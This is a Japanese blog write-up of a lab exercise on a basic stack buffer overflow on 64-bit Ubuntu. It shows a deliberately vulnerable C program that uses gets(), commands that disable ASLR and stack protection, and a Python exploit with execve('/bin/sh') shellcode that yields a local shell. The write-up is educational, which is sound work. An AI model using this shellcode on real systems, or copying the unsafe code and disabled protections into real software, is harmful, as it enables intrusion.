簡単なバッファオーバーフローを試してみた。
「第20回ゼロから始めるセキュリティ入門 勉強会」でバッファオーバーフローについて発表しました。
https://weeyble-security.connpass.com/event/101572/
実際に試すためにいろいろやってみたので、備忘のためにの記事にしようと思います。
バッファオーバーフローとは?
そもそもバッファーオーバーフローってなんぞ、ってのは以下のサイトを参照してください。
バッファオーバーフロー(バッファオーバーラン)とは - IT用語辞典
開発環境
さて、試した環境は,
VMware WorkStation12 Player で仮想環境上で試した。
Ubuntuの64bit版で試した。
$ cat /etc/os-release NAME="Ubuntu" VERSION="18.04.1 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.1 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic
バッファオーバーフローを起こすため、C言語で脆弱なプログラムを作成する。
gccのバージョンは以下の通り
$gcc --version gcc (Ubuntu 7.3.0-16ubuntu3) 7.3.0 Copyright (C) 2017 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
脆弱なプログラムの作成
脆弱なプログラムは以下の通り。
include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char *argv[]){ char buf[100]; setlinebuf(stdout); printf("buf = %p\n", buf); gets(buf); puts(buf); return 0; }
コードの意味を見てみると、まず、メモリを100確保する。
で、ポインタの位置をプリントする。
次に標準入力待ち状態になる。
入力された値をメモリに配置し、標準出力してプログラム終了。
コンパイルして挙動を確認してみる。
$ ./overflow buf = 0x7ffd13aede80 A A $ ./overflow buf = 0x7ffc642b46a0 ABC ABC $ ./overflow buf = 0x7fffc1bd00c0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
うん。
思った通りの挙動をしている。
実行する度、確保されるバッファメモリの位置が変わっていることが確認できる。
バッファオーバーフローを意図的に引き起こすため、防御機構の停止
バッファオーバーフローを実行するために、ASLR(Address Space Layout Randomization)※4とSSP(Stack Smash Protection)※5を停止する。
UbuntuでASLRを止めるには、以下のコードを実行する。
$sudo sysctl -w kernel.randomize_va_space=0
$ ./overflow buf = 0x7fffffffddf0 A A $ ./overflow buf = 0x7fffffffddf0 ABC ABC $ ./overflow buf = 0x7fffffffddf0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
うん、よしよし。
確保されているバッファの位置が一定になっていることがわかる。
SSPの無効化は、ソースコードのコンパイルオプションで設定する。
$gcc -fno-stack-protector -z execstack -o overflow buffer_overflow.c
バッファオーバーフローを使ってshellを奪うコードの作成
そして、実際に攻撃するコードを作る。
こちらも、ももいろテクノロジーさんのコードをお借りする。
import sys import struct from subprocess import Popen, PIPE addr_buf = int(sys.argv[1], 16) bufsize = int(sys.argv[2]) # execve("/bin/sh", {"/bin/sh", NULL}, NULL) shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05' buf = shellcode buf += 'A' * (bufsize - len(buf)) buf += 'A' * (8 - len(buf)%8) # alignment buf += 'AAAAAAAA' * 2 buf += struct.pack('<Q', addr_buf) p = Popen(['./overflow'], stdin=PIPE, stdout=PIPE) print("[+] read: %r" % p.stdout.readline()) p.stdin.write(buf+'\n') print("[+] read: %r" % p.stdout.readline()) p.stdin.write('exec <&2 >&2\n') p.wait()
ここは、参考にしたコードのままでは実行できなかった。
なんでかなー、と思ったところ、32bit版と64bit版でシェルコードが変わるらしい。
同じくももいろテクノロジー様の、以下のサイトにして新しいシェルコードを組み立てる。※3
具体的には、参考にさせて頂いたシェルコードは、以下のとおり
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
64bitの場合のシェルコードは以下のとおり。
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
また、実行する際はpython2系で実行すること。
python3系で実行すると、ライブラリstructureの関数がうまく動かない。
で、実行してみると以下のようになる。
$ python exploit.py 0x7fffffffddf0 100 [+] read: 'buf = 0x7fffffffddf0\n' [+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xdd\xff\xff\xff\x7f\n' whoami <ここはログインユーザの名前が表示>
「python exploit.py 0x7fffffffddf0 100」を実行した段階で、入力待ちの状態になり、「whoami」を入力してEnter
これでログインユーザの名前が表示されたことから、バッファオーバーフローを使ってshellを奪うことが出来た。
まとめ
ここまで、簡単なバッファオーバーフローを使って、shellを奪うサンプルを試してみました。
しかし、実際はASLRやSSPが停止しているはずもなく、工夫を加えなければなりません。
こちらもももいろテクノロジー様のサイトに、検証のための記事が公開されておりますので、
そちらを参考に実装してみたいと思います。
参考文献
※1 e-words「バッファオーバーフロー 【 buffer overflow 】 バッファオーバーラン / buffer overrun」
http://e-words.jp/w/%E3%83%90%E3%83%83%E3%83%95%E3%82%A1%E3%82%AA%E3%83%BC%E3%83%90%E3%83%BC%E3%83%95%E3%83%AD%E3%83%BC.html
※2 ももいろテクノロジー「単純なスタックバッファオーバーフロー攻撃をやってみる」
http://inaz2.hatenablog.com/entry/2014/03/14/151011
※3 ももいろテクノロジー「x64でスタックバッファオーバーフローをやってみる」
http://inaz2.hatenablog.com/entry/2014/07/04/001851
※4 通信用語の基礎知識「ASLR」
https://www.wdic.org/w/TECH/ASLR
※5 OWASP ZAP「Stack-smashing Protection (SSP)」
https://www.owasp.org/index.php/Stack-smashing_Protection_(SSP)